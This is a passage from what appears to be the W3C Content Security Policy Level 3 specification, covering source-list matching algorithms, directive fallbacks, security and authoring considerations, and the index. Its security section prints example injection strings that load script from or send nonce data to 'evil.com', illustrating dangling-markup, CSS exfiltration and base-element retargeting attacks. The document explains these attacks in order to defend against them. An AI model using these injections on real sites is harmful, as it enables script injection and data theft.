3. If allow all inline is true, return "Allows". Otherwise, return "Does Not Allow".

'unsafe-inline' http://a.com http://b.com
'unsafe-inline'

'sha512-321cba' 'nonce-abc'
http://example.com 'unsafe-inline' 'nonce-abc'

'unsafe-inline' 'strict-dynamic'
http://example.com 'strict-dynamic' 'unsafe-inline'

6.7.3.3. Does element match source list for type and source?

Given an Element element, a source list list, a string type, and a string source, this algorithm returns "Matches" or "Does Not Match".

Note: Regardless of the encoding of the document, source will be converted to UTF-8 before applying any hashing algorithms.

1. If 6.7.3.2 Does a source list allow all inline behavior for type? returns "Allows" given list and type, return "Matches".

2. If type is "script" or "style", and 6.7.3.1 Is element nonceable? returns "Nonceable" when executed upon element:

   1. For each expression of list:

      1. If expression matches the nonce-source grammar, and element has a nonce attribute whose value is expressions base64-value part, return "Matches".

   Note: Nonces only apply to inline script and inline style, not to attributes of either element or to javascript: navigations.

3. Let unsafe-hashes flag be false.

4. For each expression of list:

   1. If expression is an ASCII case-insensitive match for the keyword-source "'unsafe-hashes'", set unsafe-hashes flag to true. Break out of the loop.

5. If type is "script" or "style", or unsafe-hashes flag is true:

   1. Set source to the result of executing UTF-8 encode on the result of executing JavaScript string converting on source.

   2. For each expression of list:

      1. If expression is the "'strict-dynamic'" keyword-source:

         1. If type is "script", and element is not parser-inserted, return "Matches".

      2. If expression matches the hash-source grammar:

         1. Let algorithm be null.

         2. If expressions hash-algorithm part is an ASCII case-insensitive match for "sha256", set algorithm to SHA-256.

         3. If expressions hash-algorithm part is an ASCII case-insensitive match for "sha384", set algorithm to SHA-384.

         4. If expressions hash-algorithm part is an ASCII case-insensitive match for "sha512", set algorithm to SHA-512.

         5. If algorithm is not null:

            1. Let actual be the result of base64 encoding the result of applying algorithm to source.

            2. Let expected be expressions base64-value part, with all '-' characters replaced with '+', and all '_' characters replaced with '/'.

               Note: This replacement normalizes hashes expressed in base64url encoding into base64 encoding for matching.

            3. If actual is identical to expected, return "Matches".

   Note: Hashes apply to inline script and inline style. If the "'unsafe-hashes'" source expression is present, they will also apply to event handlers, style attributes and javascript: navigations.

6. Return "Does Not Match".

6.8. Directive Algorithms

6.8.1. Get the effective directive for request

Each fetch directive controls a specific destination of request. Given a request request, the following algorithm returns either null or the name of the requests effective directive:

1. If requests initiator is "prefetch" or "prerender", return default-src.

2. Switch on requests destination, and execute the associated steps:

   the empty string

   1. Return connect-src.

   "manifest"

   1. Return manifest-src.

   "object"

   "embed"

   1. Return object-src.

   "frame"

   "iframe"

   1. Return frame-src.

   "audio"

   "track"

   "video"

   1. Return media-src.

   "font"

   1. Return font-src.

   "image"

   1. Return img-src.

   "style"

   1. Return style-src-elem.

   "script"

   "xslt"

   "audioworklet"

   "paintworklet"

   1. Return script-src-elem.

   "serviceworker"

   "sharedworker"

   "worker"

   1. Return worker-src.

   "json"

   "text"

   "webidentity"

   1. Return connect-src.

   "report"

   1. Return null.

3. Return connect-src.

Note: The algorithm returns connect-src as a default fallback. This is intended for new fetch destinations that are added and which dont explicitly fall into one of the other categories.

6.8.2. Get the effective directive for inline checks

Given a string type, this algorithm returns the name of the effective directive.

Note: While the effective directive is only defined for requests, in this algorithm it is used similarly to mean the directive that is most relevant to a particular type of inline check.

1. Switch on type:

   "script"

   "navigation"

   1. Return script-src-elem.

   "script attribute"

   1. Return script-src-attr.

   "style"

   1. Return style-src-elem.

   "style attribute"

   1. Return style-src-attr.

2. Return null.

6.8.3. Get fetch directive fallback list

Will return an ordered set of the fallback directives for a specific directive. The returned ordered set is sorted from most relevant to least relevant and it includes the effective directive itself.

Given a string directive name:

1. Switch on directive name:

   "script-src-elem"

   1. Return << "script-src-elem", "script-src", "default-src" >>.

   "script-src-attr"

   1. Return << "script-src-attr", "script-src", "default-src" >>.

   "style-src-elem"

   1. Return << "style-src-elem", "style-src", "default-src" >>.

   "style-src-attr"

   1. Return << "style-src-attr", "style-src", "default-src" >>.

   "worker-src"

   1. Return << "worker-src", "child-src", "script-src", "default-src" >>.

   "connect-src"

   1. Return << "connect-src", "default-src" >>.

   "manifest-src"

   1. Return << "manifest-src", "default-src" >>.

   "object-src"

   1. Return << "object-src", "default-src" >>.

   "frame-src"

   1. Return << "frame-src", "child-src", "default-src" >>.

   "media-src"

   1. Return << "media-src", "default-src" >>.

   "font-src"

   1. Return << "font-src", "default-src" >>.

   "img-src"

   1. Return << "img-src", "default-src" >>.

2. Return << >>.

6.8.4. Should fetch directive execute

This algorithm is used for fetch directives to decide whether a directive should execute or defer to a different directive that is better suited. For example: if the effective directive name is worker-src (meaning that we are currently checking a worker request), a default-src directive should not execute if a worker-src or script-src directive exists.

Given a string effective directive name, a string directive name and a policy policy:

1. Let directive fallback list be the result of executing 6.8.3 Get fetch directive fallback list on effective directive name.

2. For each fallback directive of directive fallback list:

   1. If directive name is fallback directive, Return "Yes".

   2. If policy contains a directive whose name is fallback directive, Return "No".

3. Return "No".

7. Security and Privacy Considerations

7.1. Nonce Reuse

Nonces override the other restrictions present in the directive in which theyre delivered. It is critical, then, that they remain unguessable, as bypassing a resources policy is otherwise trivial.

If a server delivers a nonce-source expression as part of a policy, the server MUST generate a unique value each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and SHOULD be generated via a cryptographically secure random number generator in order to ensure that the value is difficult for an attacker to predict.

Note: Using a nonce to allow inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.

7.2. Nonce Hijacking

7.2.1. Dangling markup attacks

Dangling markup attacks such as those discussed in [FILEDESCRIPTOR-2015] can be used to repurpose a pages legitimate nonces for injections. For example, given an injection point before a script element:

<p>Hello, [INJECTION POINT]</p>
<script nonce=abc src=/good.js></script>

If an attacker injects the string "<script src='https://evil.com/evil.js' ", then the browser will receive the following:

<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/good.js></script>

It will then parse that code, ending up with a script element with a src attribute pointing to a malicious payload, an attribute named </p>, an attribute named "<script", a nonce attribute, and a second src attribute which is helpfully discarded as duplicate by the parser.

The 6.7.3.1 Is element nonceable? algorithm attempts to mitigate this specific attack by walking through script or style element attributes, looking for the string "<script" or "<style" in their names or values.

User-agents must pay particular attention when implementing this algorithm to not ignore duplicate attributes. If an element has a duplicate attribute any instance of the attribute after the first one is ignored but in the 6.7.3.1 Is element nonceable? algorithm, all attributes including the duplicate ones need to be checked.

Currently the HTML specs parsing algorithm removes this information before the 6.7.3.1 Is element nonceable? algorithm can be run which makes it impossible to actually detect duplicate attributes. [whatwg/html Issue #3257]

For the following example page:

Hello, [INJECTION POINT]
<script nonce=abc src=/good.js></script>

The following injected string will use a duplicate attribute to attempt to bypass the 6.7.3.1 Is element nonceable? algorithm check:

Hello, <script src='https://evil.com/evil.js' x="" x=
<script nonce="abcd" src=/good.js></script>

7.2.2. Nonce exfiltration via content attributes

Some attacks on CSP rely on the ability to exfiltrate nonce data via various mechanisms that can read content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attackers server for reuse. Example:

script[nonce=a] { background: url("https://evil.com/nonce?a");}

The nonce section talks about mitigating these types of attacks by hiding the nonce from the elements content attribute and moving it into an internal slot. This is done to ensure that the nonce value is exposed to scripts but not any other non-script channels.

7.3. Nonce Retargeting

Nonces bypass host-source expressions, enabling developers to load code from any origin. This, generally, is fine, and desirable from the developers perspective. However, if an attacker can inject a base element, then an otherwise safe page can be subverted when relative URLs are resolved. That is, on https://example.com/ the following code will load https://example.com/good.js:

<script nonce=abc src=/good.js></script>

However, the following will load https://evil.com/good.js:

<base href="https://evil.com">
<script nonce=abc src=/good.js></script>

To mitigate this risk, it is advisable to set an explicit base element on every page, or to limit the ability of an attacker to inject their own base element by setting a base-uri directive in your pages policy. For example, base-uri 'none'.

7.4. CSS Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.

These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009 [CSS-ABUSE]. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

7.5. Violation Reports

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that allows https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g. identityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URL, such as session identifiers or purported identities. For this reason, the user agent includes only the URL of the original request, not the redirect target.

Note also that violation reports should be considered attacker-controlled data. Developers who wish to collect violation reports in a dashboard or similar service should be careful to properly escape their content before rendering it (and should probably themselves use CSP to further mitigate the risk of injection). This is especially true for the "script-sample" property of violation reports, and the sample property of SecurityPolicyViolationEvent, which are both completely attacker-controlled strings.

7.6. Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakovs Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:

• Directly loading https://example.org/not-path would fail, as it doesnt match the policy.

• Directly loading https://example.com/redirector would pass, as it matches example.com.

• Assuming that https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component.

This restriction reduces the granularity of a documents policy when redirects are in play, a necessary compromise to avoid brute-forced information leaks of this type.

The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.

7.7. Secure Upgrades

To mitigate one variant of history-scanning attacks like Yan Zhus Sniffly, CSP will not allow pages to lock themselves into insecure URLs via policies like script-src http://example.com. As described in 6.7.2.9 scheme-part matching, the scheme portion of a source expression will always allow upgrading to a secure variant.

7.8. CSP Inheriting to avoid bypasses

Documents loaded from local schemes will inherit a copy of the policies in the source document. The goal is to ensure that a page cant bypass its policy by embedding a frame or opening a new window containing content that is entirely under its control (srcdoc documents, blob: or data: URLs, about:blank documents that can be manipulated via document.write(), etc).

<iframe srcdoc="<script>alert(1);</script>"></iframe>

Note that we create a copy of the CSP list which means that the new Documents CSP list is a snapshot of the relevant policies at its creation time. Modifications in the CSP list of the new Document wont affect the source Documents CSP list or vice-versa.

<iframe srcdoc='<meta http-equiv="Content-Security-Policy" content="img-src example.com;">
                   <img src="not-example.com/image">'></iframe>

<img src="not-example.com/image">

8. Authoring Considerations

8.1. The effect of multiple policies

This section is not normative.

The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.

To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policys criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

8.2. Usage of "'strict-dynamic'"

This section is not normative.

Host- and path-based policies are tough to get right, especially on sprawling origins like CDNs. The solutions to Cure53s H5SC Minichallenge 3: "Sh*t, its CSP!" [H5SC3] are good examples of the kinds of bypasses which such policies can enable, and though CSP is capable of mitigating these bypasses via exhaustive declaration of specific resources, those lists end up being brittle, awkward, and difficult to implement and maintain.

The "'strict-dynamic'" source expression aims to make Content Security Policy simpler to deploy for existing applications who have a high degree of confidence in the scripts they load directly, but low confidence in their ability to provide a reasonable list of resources to load up front.

If present in a script-src or default-src directive, it has two main effects:

1. host-source and scheme-source expressions, as well as the "'unsafe-inline'" and "'self' keyword-sources will be ignored when loading script.

   hash-source and nonce-source expressions will be honored.

2. Script requests which are triggered by non-"parser-inserted" script elements are allowed.

The first change allows you to deploy "'strict-dynamic'" in a backwards compatible way, without requiring user-agent sniffing: the policy 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' will act like 'unsafe-inline' https: in browsers that support CSP1, https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' in browsers that support CSP2, and 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic' in browsers that support CSP3.

The second allows scripts which are given access to the page via nonces or hashes to bring in their dependencies without adding them explicitly to the pages policy.

Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'

...
<script src="https://cdn.example.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
...

var s = document.createElement('script');
s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild(s);

document.write('<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>');

Note: With 'strict-dynamic', scripts created at runtime will be allowed to execute. If the location of such a script can be controlled by an attacker, the policy will then allow the loading of arbitrary scripts. Developers that use 'strict-dynamic' in their policy should audit the uses of non-parser-inserted APIs and ensure that they are not invoked with potentially untrusted data. This includes applications or frameworks that tend to determine script locations at runtime.

8.3. Usage of "'unsafe-hashes'"

This section is not normative.

Legacy websites and websites with legacy dependencies might find it difficult to entirely externalize event handlers. These sites could enable such handlers by allowing 'unsafe-inline', but thats a big hammer with a lot of associated risk (and cannot be used in conjunction with nonces or hashes).

The "'unsafe-hashes'" source expression aims to make CSP deployment simpler and safer in these situations by allowing developers to enable specific handlers via hashes.

<button id="action" onclick="doSubmit()">

Content-Security-Policy:  script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='

The capabilities 'unsafe-hashes' provides is useful for legacy sites, but should be avoided for modern sites. In particular, note that hashes allow a particular script to execute, but do not ensure that it executes in the way a developer intends. If an interesting capability is exposed as an inline event handler (say <a >Transfer</a>), then that script becomes available for an attacker to inject as <script>transferAllMyMoney()</script>. Developers should be careful to balance the risk of allowing specific scripts to execute against the deployment advantages that allowing inline event handlers might provide.

8.4. Allowing external JavaScript via hashes

This section is not normative.

In [CSP2], hash source expressions could only match inlined script, but now that Subresource Integrity [SRI] is widely deployed, we can expand the scope to enable externalized JavaScript as well.

If multiple sets of integrity metadata are specified for a script, the request will match a policys hash-sources if and only if each item in a scripts integrity metadata matches the policy.

Note: The CSP spec specifies that the contents of an inline script element or event handler needs to be encoded using UTF-8 encode before computing its hash. [SRI] computes the hash on the raw resource that is being fetched instead. This means that it is possible for the hash needed to allow an inline script block to be different from the hash needed to allow an external script even if they have identical contents.

Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'

<script integrity="sha256-abc123" ...></script>
<script integrity="sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha512-321cba" ...></script>

<script integrity="sha384-xyz789" ...></script>
<script integrity="sha384-xyz789 sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha384-xyz789 sha512-321cba" ...></script>

<script integrity="sha256-abc123 sha1024-abcd" ...></script>
<script integrity="sha512-321cba entirely-invalid" ...></script>
<script integrity="sha256-abc123 not-a-hash-at-all sha512-321cba" ...></script>

8.5. Strict CSP

This section is not normative.

Deployment of an effective CSP against XSS is a challenge (as described in CSP Is Dead, Long Live CSP! [LONG-LIVE-CSP]). However, enforcing the following set of CSP directives has been identified as an effective and deployable mitigation against XSS.

1. script-src: Only use nonce source-expression and/or hash source-expression with the "'strict-dynamic'" keyword-source.

   Note: While "'strict-dynamic'" allows ease of deployment (as described in 8.2 Usage of "'strict-dynamic'"), it should be avoided when possible.

   Note: For backwards compatibility, it is recommended to specify https: scheme-source with "'strict-dynamic'".

2. base-uri: Specify a value of either "'self'" or "'none'".

A CSP that meets the above criteria is called Strict CSP. Further details are discussed in [WEBDEV-STRICTCSP].

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';

Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';

8.6. Exfiltration

This section is not normative.

Data exfiltration can occur when the contents of the request, such as the URL, contain information about the user or page that should be restricted and not shared.

Content Security Policy can mitigate data exfiltration if used to create allowlists of servers with which a page is allowed to communicate. Note that a policy which lacks the default-src directive cannot mitigate exfiltration, as there are kinds of requests that are not addressable through a more-specific directive (prefetch, for example). [HTML]

Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'

Content-Security-Policy: default-src 'none'; img-src *

9. Implementation Considerations

9.1. Vendor-specific Extensions and Addons

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the users priority over page authors, as espoused in [HTML-DESIGN].

Moreover, applying CSP to these kinds of features produces a substantial amount of noise in violation reports, significantly reducing their value to developers.

Chrome, for example, excludes the chrome-extension: scheme from CSP checks, and does some work to ensure that extension-driven injections are allowed, regardless of a pages policy.

10. IANA Considerations

10.1. Directive Registry

The Content Security Policy Directive registry should be updated with the following directives and references [RFC7762]:

base-uri

This document (see 6.3.1 base-uri)

child-src

This document (see 6.1.1 child-src)

connect-src

This document (see 6.1.2 connect-src)

default-src

This document (see 6.1.3 default-src)

font-src

This document (see 6.1.4 font-src)

form-action

This document (see 6.4.1 form-action)

frame-ancestors

This document (see 6.4.2 frame-ancestors)

frame-src

This document (see 6.1.5 frame-src)

img-src

This document (see 6.1.6 img-src)

manifest-src

This document (see 6.1.7 manifest-src)

media-src

This document (see 6.1.8 media-src)

object-src

This document (see 6.1.9 object-src)

report-uri

This document (see 6.5.1 report-uri)

report-to

This document (see 6.5.2 report-to)

sandbox

This document (see 6.3.2 sandbox)

script-src

This document (see 6.1.10 script-src)

script-src-attr

This document (see 6.1.12 script-src-attr)

script-src-elem

This document (see 6.1.11 script-src-elem)

style-src

This document (see 6.1.13 style-src)

style-src-attr

This document (see 6.1.15 style-src-attr)

style-src-elem

This document (see 6.1.14 style-src-elem)

worker-src

This document (see 6.2.2 worker-src)

10.2. Headers

The permanent message header field registry should be updated with the following registrations: [RFC3864]

10.2.1. Content-Security-Policy

Header field name

Content-Security-Policy

Applicable protocol

http

Status

standard

Author/Change controller

W3C

Specification document

This specification (See 3.1 The Content-Security-Policy HTTP Response Header Field)

10.2.2. Content-Security-Policy-Report-Only

Header field name

Content-Security-Policy-Report-Only

Applicable protocol

http

Status

standard

Author/Change controller

W3C

Specification document

This specification (See 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field)

11. Acknowledgements

Lots of people are awesome. For instance:

• Mario and all of Cure53.

• Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, and the rest of Googles CSP Cabal.

Index

Terms defined by this specification

• 'allow', in 6.2.1
• allow all inline behavior, in 6.7.3.2
• allows all inline behavior, in 6.7.3.2
• ancestor-source, in 6.4.2
• ancestor-source-list, in 6.4.2
• base64-value, in 2.3.1
• base-uri, in 6.3.1
• 'block', in 6.2.1
• blockedURI
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• blockedURL, in 5
• child-src, in 6.1.1
• column number, in 2.4
• columnNumber
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dict-member for CSPViolationReportBody, in 5
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• connect-src, in 6.1.2
• constructor(type), in 5.1
• constructor(type, eventInitDict), in 5.1
• contains a header-delivered Content Security Policy, in 2.2
• Content Security Policy, in 1
• Content-Security-Policy, in 3.1
• content security policy object, in 2.2
• Content-Security-Policy-Report-Only, in 3.2
• csp hash report, in 5
• csp hash report body, in 5
• CSP list
  • definition of, in 2.2
  • dfn for global object, in 4.2
• csp violation report, in 5
• CSPViolationReportBody, in 5
• default-src, in 6.1.3
• destination, in 5
• directive-name, in 2.3
• directives, in 2.3
• directive set, in 2.2
• directive-value, in 2.3
• disposition
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dfn for content security policy object, in 2.2
  • dfn for violation, in 2.4
  • dict-member for CSPViolationReportBody, in 5
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• documentURI
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• documentURL
  • dfn for csp hash report body, in 5
  • dict-member for CSPViolationReportBody, in 5
• Does url match expression in origin with redirect count?, in 6.7.2.7
• effective directive
  • dfn for request, in 6.8.1
  • dfn for violation, in 2.4
• effectiveDirective
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dict-member for CSPViolationReportBody, in 5
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• element, in 2.4
• "enforce", in 5.1
• enforced, in 4.2
• EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg), in 4.4
• EnsureCSPDoesNotBlockWasmByteCompilationrealm, in 4.5
• Fetch directives, in 6.1
• font-src, in 6.1.4
• form-action, in 6.4.1
• frame-ancestors, in 6.4.2
• frame-src, in 6.1.5
• global object, in 2.4
• hash, in 5
• hash-algorithm, in 2.3.1
• hash-source, in 2.3.1
• host-char, in 2.3.1
• host-part, in 2.3.1
• host-part match, in 6.7.2.10
• host-source, in 2.3.1
• img-src, in 6.1.6
• initialization, in 2.3
• inline check, in 2.3
• Is base allowed for document?, in 6.3.1
• keyword-source, in 2.3.1
• line number, in 2.4
• lineNumber
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dict-member for CSPViolationReportBody, in 5
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• manifest-src, in 6.1.7
• media-src, in 6.1.8
• monitored, in 4.2
• name, in 2.3
• navigation response check, in 2.3
• nonce-source, in 2.3.1
• 'none', in 2.3.1
• object-src, in 6.1.9
• optional-ascii-whitespace, in 2.1
• originalPolicy
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dict-member for CSPViolationReportBody, in 5
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• parse a responses Content Security Policies, in 2.2.2
• parse a serialized CSP, in 2.2.1
• Parse responses Content Security Policies, in 2.2.1
• path-part, in 2.3.1
• path-part match, in 6.7.2.12
• policies, in 2.2
• policy
  • definition of, in 2.2
  • dfn for violation, in 2.4
• port-part, in 2.3.1
• port-part matches, in 6.7.2.11
• post-request check, in 2.3
• Potentially report hash, in 4.1.3
• pre-navigation check, in 2.3
• pre-request check, in 2.3
• referrer
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dfn for violation, in 2.4
  • dict-member for CSPViolationReportBody, in 5
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• "report", in 5.1
• Report Content Security Policy violations for request, in 4.1
• 'report-sample', in 2.3.1
• 'report-sha256', in 2.3.1
• 'report-sha384', in 2.3.1
• 'report-sha512', in 2.3.1
• report-to, in 6.5.2
• report-uri, in 6.5.1
• required-ascii-whitespace, in 2.1
• resource, in 2.4
• Run CSP initialization for a Document, in 4.2
• Run CSP initialization for a global object, in 4.2.5
• sample
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dfn for violation, in 2.4
  • dict-member for CSPViolationReportBody, in 5
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• sandbox, in 6.3.2
• scheme-part, in 2.3.1
• scheme-part match, in 6.7.2.9
• scheme-source, in 2.3.1
• script-src, in 6.1.10
• script-src-attr, in 6.1.12
• script-src-elem, in 6.1.11
• securitypolicyviolation, in 5.5
• SecurityPolicyViolationEvent, in 5.1
• SecurityPolicyViolationEventDisposition, in 5.1
• SecurityPolicyViolationEventInit, in 5.1
• SecurityPolicyViolationEvent(type), in 5.1
• SecurityPolicyViolationEvent(type, eventInitDict), in 5.1
• 'self', in 2.3.1
• self-origin, in 2.2
• serialized CSP, in 2.2
• serialized CSP list, in 2.2
• serialized directive, in 2.3
• serialized-directive, in 2.3
• serialized-policy, in 2.2
• serialized-policy-list, in 2.2
• serialized source list, in 2.3.1
• serialized-source-list, in 2.3.1
• Should elements inline type behavior be blocked by Content Security Policy?, in 4.2.2
• Should navigation request of type be blocked by Content Security Policy?, in 4.2.3
• Should navigation response to navigation request of type in target be blocked by Content Security Policy?, in 4.2.4
• Should request be blocked by Content Security Policy?, in 4.1.1
• Should response to request be blocked by Content Security Policy?, in 4.1.2
• source, in 2.2
• source expression, in 2.3.1
• source-expression, in 2.3.1
• source file, in 2.4
• sourceFile
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dict-member for CSPViolationReportBody, in 5
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• source lists, in 2.3.1
• status, in 2.4
• statusCode
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dict-member for CSPViolationReportBody, in 5
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• 'strict-dynamic', in 2.3.1
• style-src, in 6.1.13
• style-src-attr, in 6.1.15
• style-src-elem, in 6.1.14
• subresourceURL, in 5
• 'trusted-types-eval', in 2.3.1
• type, in 5
• 'unsafe-allow-redirects', in 2.3.1
• 'unsafe-eval', in 2.3.1
• 'unsafe-hashes', in 2.3.1
• 'unsafe-inline', in 2.3.1
• 'unsafe-webtransport-hashes', in 2.3.1
• url, in 2.4
• value, in 2.3
• violatedDirective
  • attribute for SecurityPolicyViolationEvent, in 5.1
  • dict-member for SecurityPolicyViolationEventInit, in 5.1
• violation, in 2.4
• 'wasm-unsafe-eval', in 2.3.1
• webrtc, in 6.2.1
• webrtc pre-connect check, in 2.3
• worker-src, in 6.2.2